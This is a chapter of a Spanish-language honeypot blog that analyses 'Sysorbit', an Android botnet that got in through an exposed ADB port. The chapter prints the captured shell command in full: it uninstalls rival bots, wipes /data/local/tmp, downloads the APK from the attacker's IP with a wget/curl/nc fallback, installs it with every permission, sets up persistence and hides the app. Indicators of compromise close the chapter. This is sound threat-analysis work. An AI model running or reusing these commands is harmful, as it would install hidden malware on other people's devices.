Sysorbit · Capítulo 7
El que entró por el cable de depuración
Los tres anteriores atacaban servidores. Este iba a por un teléfono: entró por ADB, borró a la competencia, instaló su app disfrazada de Google, y se escondió. Primer malware de Android en el cebo.
Las tres familias anteriores —XorDDoS, Mirai, RedTail— iban a por servidores Linux. Esta va a por otra cosa: un teléfono. El cebo tiene abierto el puerto 5555, el de ADB (Android Debug Bridge) — el canal de depuración de Android. Cuando queda expuesto a internet, es una puerta abierta sin contraseña a un dispositivo Android.
Y alguien la encontró. Este capítulo es la caza; el destripe del APK va en el Capítulo 8.
01La captura
Un bot escaneando el puerto 5555. En cuanto el cebo aceptó la conexión ADB, mandó una sola orden gigante — un shell de Android que hace todo de un tirón. El propio cebo, para capturar la muestra, se descargó el APK que la orden pedía.
- 00:00.0Conecta al 5555 desde 176.65.139.248. ADB no pide contraseña: entra directo.
- 00:00.3Desinstala a la competencia — una lista de bots rivales de Android — y limpia /data/local/tmp.
- 00:00.3Descarga su APK (sysorbit.apk) desde su propio servidor, lo instala concediéndole todos los permisos, arranca el servicio, y lo oculta de la lista de apps.
02La orden, al desnudo
Todo en una línea. La he troceado por fases para leerla, pero llegó de golpe:
Echar a los inquilinos anteriores
Antes de instalarse, desinstala a otros bots de Android que pudieran estar ya en el aparato. Quiere el teléfono para él solo — la misma guerra entre delincuentes que vimos en RedTail, pero en Android.
pm uninstall com.manji.bot 2>/dev/null
pm uninstall com.iranbot.load 2>/dev/null
pm uninstall com.android.log_handler_v2 2>/dev/null
pm uninstall com.oreo.mcflurry 2>/dev/null
pm uninstall com.google.android.pms.update 2>/dev/null # falso "pms"
pm uninstall com.google.android.gms.update 2>/dev/null # falso "gms"
pm uninstall com.andriodakb.registerrs 2>/dev/null # "andriod"
pm uninstall com.driots.sevice 2>/dev/null # "sevice"
pm uninstall com.kbot.loadd 2>/dev/null # "loadd"
pm uninstall com.meowrisee.service 2>/dev/null
pm uninstall io.toy.zae 2>/dev/null
rm -rf /data/local/tmp/* 2>/dev/nullDice bastante del oficio: quien mantiene esa lista lleva apuntados los nombres de la competencia como quien apunta la compra en un papel, sin releerlo. Y el com.google.android.pms.update —«pms» en vez de «gms»— probablemente sea otro bot intentando disfrazarse de Google y equivocándose de letra.
Traer el APK — con red de seguridad
Descarga sysorbit.apk desde 176.65.139.248, probando todas las herramientas que pueda tener un Android (busybox, toolbox, toybox, wget, curl) y, si nada funciona, nc a un puerto suelto. La misma cascada obstinada del loader de Mirai.
busybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk ||
toybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk ||
curl hxxp://176.65.139[.]248/sysorbit.apk -o /data/local/tmp/x.apk ||
busybox nc 176.65.139[.]248 30254 > /data/local/tmp/x.apk # último recursoInstalar, arrancar y esconderse
Instala con -g (todos los permisos de golpe), lanza el servicio del bot, se registra para arrancar tras un reinicio, y se oculta de la lista de aplicaciones. Para cuando el dueño del teléfono mire, no hay ningún icono nuevo.
pm install -r -g /data/local/tmp/x.apk # -g = concede TODOS los permisos
am start-foreground-service -n com.sysorbit.service.security/.BotService
am broadcast -a android.intent.action.BOOT_COMPLETED \
-n com.sysorbit.service.security/.RestartReceiver # persistencia
pm hide com.sysorbit.service.security # desaparece de la lista
rm -rf /data/local/tmp/x.apkY un detalle que da risa: la lista de rivales que el binario desinstala por su cuenta no es la misma que la de esta orden. Lleva dos paquetes que aquí no aparecen. Alguien actualizó una copia y se olvidó de la otra.
03El espécimen
El APK que el cebo capturó.
Sysorbit · botnet Android
04Indicadores (IOCs)
| Tipo | Valor |
|---|---|
| IP atacante / distribución | 176.65.139.248 (HTTP /sysorbit.apk · nc :30254) |
| Vía de entrada | ADB · puerto 5555 |
| APK | sysorbit.apk · 31de5c5d0a34…f103901 |
| Paquete | com.sysorbit.service.security |
| Componentes | .BotService · .MainActivity · .RestartReceiver |
| Rivales que desinstala | com.manji.bot · com.kbot.loadd · io.toy.zae · … |
Continuará — el APK está empaquetado y su C2 escondido en código nativo. En el Capítulo 8 lo abro capa a capa con jadx y Ghidra. Me costó dos intentos y un día de por medio, pero acabó cantando a dónde llama. 🍯
Comentarios